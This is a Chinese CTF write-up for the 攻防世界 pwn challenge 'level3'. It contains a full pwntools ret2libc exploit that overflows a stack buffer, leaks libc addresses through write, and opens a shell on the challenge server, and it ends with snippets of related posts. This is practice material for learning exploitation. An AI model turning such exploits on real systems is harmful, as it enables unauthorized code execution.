分享一位師傅寫得,很詳細,對我們小白很有幫助
基本資訊
[*] '/home/ububtu/ctf/level3'
arch: i386-32-little
relro: partial relro
stack: no canary found
nx: nx enabled
pie: no pie (0x8048000)
32位,開啟nx保護
載入ida
main函式
vulnerable_function函式
程式**很少,在read()存在棧溢位
無system函式,無binsh字串,有read和write函式,利用ret2libc。
主要思路有以下幾點:
from pwn import *
p=remote('111.198.29.45',58174)
#p=process('./level3')
elf=elf("./level3")
writeplt=elf.plt["write"]
writegot=elf.got["write"]
func=elf.symbols["vulnerable_function"]
libc=elf("./libc_32.so.6")
writelibc=libc.symbols["write"]
syslibc=libc.symbols["system"]
binlibc=libc.search("/bin/sh").next()
payload1='a'*140+p32(writeplt)+p32(func)+p32(1)+p32(writegot)+p32(4)
p.recvline()
p.sendline(payload1)
addr=p.recv(4)
writeaddr=u32(addr)
sysaddr=writeaddr-writelibc+syslibc
binaddr=writeaddr-writelibc+binlibc
payload2='a'*140+p32(sysaddr)+p32(0xaaaa)+p32(binaddr)
p.recvuntil("input:\n")
p.sendline(payload2)
p.interactive()
pwn 練習6 攻防世界 level3
這個題做的蠻久的,老樣子,基本操作來一遍 通過ida分析後,沒有system函式,也沒有 bin sh這樣的字眼,但題目給了乙個動態庫,於是我們可以通過另乙個庫,來調出system bin sh 兩個呼叫的動態函式庫相同,所以write函式和system函式之間的位址差值是相同的,所以我們的目的是求...
攻防世界 新手區web
2020 11 1 用來記錄我的web之路 當乙個搜尋蜘蛛訪問乙個站點時,它會首先檢查該站點根目錄下是否存在robots.txt,如果存在,搜尋機械人就會按照該檔案中的內容來確定訪問的範圍 如果該檔案不存在,所有的搜尋蜘蛛將能夠訪問 上所有沒有被口令保護的頁面。暫時不太了解爬蟲技術 robots是一...
攻防世界pwn新手練習(level0)
老規矩哦,我們先checksec一下,收集一下資訊 唔,沒啥東西,繼續ida吧。emmm,主函式倒是挺簡單的,就一行列印,一行輸入 但 不知你們有公尺有發現有個很奇怪的函式名,我們悄悄的瞅一瞅 果然不對勁,首先它的名字中有個system 手動加粗 這個是什麼東西嘞,簡單的來說,它擁有系統的最高許可權...